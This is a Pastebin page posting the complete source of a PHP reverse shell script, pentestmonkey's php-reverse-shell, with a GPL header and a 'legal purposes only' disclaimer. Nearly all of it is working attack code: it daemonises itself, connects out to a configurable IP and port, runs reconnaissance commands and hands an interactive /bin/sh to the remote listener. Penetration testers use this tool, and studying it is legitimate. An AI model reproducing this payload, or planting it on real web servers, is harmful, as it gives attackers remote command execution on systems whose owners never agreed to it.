CryptoJones

php-reverse-shell.php

Jun 28th, 2019
317
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.54 KB | None | 0 0
  1. <?php
  2. // php-reverse-shell - A Reverse Shell implementation in PHP
  3. // Copyright (C) 2007 [email protected]
  4. //
  5. // This tool may be used for legal purposes only.  Users take full responsibility
  6. // for any actions performed using this tool.  The author accepts no liability
  7. // for damage caused by this tool.  If these terms are not acceptable to you, then
  8. // do not use this tool.
  9. //
  10. // In all other respects the GPL version 2 applies:
  11. //
  12. // This program is free software; you can redistribute it and/or modify
  13. // it under the terms of the GNU General Public License version 2 as
  14. // published by the Free Software Foundation.
  15. //
  16. // This program is distributed in the hope that it will be useful,
  17. // but WITHOUT ANY WARRANTY; without even the implied warranty of
  18. // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  19. // GNU General Public License for more details.
  20. //
  21. // You should have received a copy of the GNU General Public License along
  22. // with this program; if not, write to the Free Software Foundation, Inc.,
  23. // 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
  24. //
  25. // This tool may be used for legal purposes only.  Users take full responsibility
  26. // for any actions performed using this tool.  If these terms are not acceptable to
  27. // you, then do not use this tool.
  28. //
  29. // You are encouraged to send comments, improvements or suggestions to
  30. //
  31. // Description
  32. // -----------
  33. // This script will make an outbound TCP connection to a hardcoded IP and port.
  34. // The recipient will be given a shell running as the current user (apache normally).
  35. //
  36. // Limitations
  37. // -----------
  38. // proc_open and stream_set_blocking require PHP version 4.3+, or 5+
  39. // Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
  40. // Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
  41. //
  42. // Usage
  43. // -----
  44. // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
  45.  
  46. set_time_limit (0);
  47. $VERSION = "1.0";
  48. $ip = '127.0.0.1';  // CHANGE THIS
  49. $port = 1234;       // CHANGE THIS
  50. $chunk_size = 1400;
  51. $write_a = null;
  52. $error_a = null;
  53. $shell = 'uname -a; w; id; /bin/sh -i';
  54. $daemon = 0;
  55. $debug = 0;
  56.  
  57. //
  58. // Daemonise ourself if possible to avoid zombies later
  59. //
  60.  
  61. // pcntl_fork is hardly ever available, but will allow us to daemonise
  62. // our php process and avoid zombies.  Worth a try...
  63. if (function_exists('pcntl_fork')) {
  64.     // Fork and have the parent process exit
  65.     $pid = pcntl_fork();
  66.    
  67.     if ($pid == -1) {
  68.         printit("ERROR: Can't fork");
  69.         exit(1);
  70.     }
  71.    
  72.     if ($pid) {
  73.         exit(0);  // Parent exits
  74.     }
  75.  
  76.     // Make the current process a session leader
  77.     // Will only succeed if we forked
  78.     if (posix_setsid() == -1) {
  79.         printit("Error: Can't setsid()");
  80.         exit(1);
  81.     }
  82.  
  83.     $daemon = 1;
  84. } else {
  85.     printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
  86. }
  87.  
  88. // Change to a safe directory
  89. chdir("/");
  90.  
  91. // Remove any umask we inherited
  92. umask(0);
  93.  
  94. //
  95. // Do the reverse shell...
  96. //
  97.  
  98. // Open reverse connection
  99. $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  100. if (!$sock) {
  101.     printit("$errstr ($errno)");
  102.     exit(1);
  103. }
  104.  
  105. // Spawn shell process
  106. $descriptorspec = array(
  107.    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
  108.    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
  109.    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
  110. );
  111.  
  112. $process = proc_open($shell, $descriptorspec, $pipes);
  113.  
  114. if (!is_resource($process)) {
  115.     printit("ERROR: Can't spawn shell");
  116.     exit(1);
  117. }
  118.  
  119. // Set everything to non-blocking
  120. // Reason: Occsionally reads will block, even though stream_select tells us they won't
  121. stream_set_blocking($pipes[0], 0);
  122. stream_set_blocking($pipes[1], 0);
  123. stream_set_blocking($pipes[2], 0);
  124. stream_set_blocking($sock, 0);
  125.  
  126. printit("Successfully opened reverse shell to $ip:$port");
  127.  
  128. while (1) {
  129.     // Check for end of TCP connection
  130.     if (feof($sock)) {
  131.         printit("ERROR: Shell connection terminated");
  132.         break;
  133.     }
  134.  
  135.     // Check for end of STDOUT
  136.     if (feof($pipes[1])) {
  137.         printit("ERROR: Shell process terminated");
  138.         break;
  139.     }
  140.  
  141.     // Wait until a command is end down $sock, or some
  142.     // command output is available on STDOUT or STDERR
  143.     $read_a = array($sock, $pipes[1], $pipes[2]);
  144.     $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
  145.  
  146.     // If we can read from the TCP socket, send
  147.     // data to process's STDIN
  148.     if (in_array($sock, $read_a)) {
  149.         if ($debug) printit("SOCK READ");
  150.         $input = fread($sock, $chunk_size);
  151.         if ($debug) printit("SOCK: $input");
  152.         fwrite($pipes[0], $input);
  153.     }
  154.  
  155.     // If we can read from the process's STDOUT
  156.     // send data down tcp connection
  157.     if (in_array($pipes[1], $read_a)) {
  158.         if ($debug) printit("STDOUT READ");
  159.         $input = fread($pipes[1], $chunk_size);
  160.         if ($debug) printit("STDOUT: $input");
  161.         fwrite($sock, $input);
  162.     }
  163.  
  164.     // If we can read from the process's STDERR
  165.     // send data down tcp connection
  166.     if (in_array($pipes[2], $read_a)) {
  167.         if ($debug) printit("STDERR READ");
  168.         $input = fread($pipes[2], $chunk_size);
  169.         if ($debug) printit("STDERR: $input");
  170.         fwrite($sock, $input);
  171.     }
  172. }
  173.  
  174. fclose($sock);
  175. fclose($pipes[0]);
  176. fclose($pipes[1]);
  177. fclose($pipes[2]);
  178. proc_close($process);
  179.  
  180. // Like print, but does nothing if we've daemonised ourself
  181. // (I can't figure out how to redirect STDOUT like a proper daemon)
  182. function printit ($string) {
  183.     if (!$daemon) {
  184.         print "$string\n";
  185.     }
  186. }
  187.  
  188. ?>
Add Comment
Please, Sign In to add comment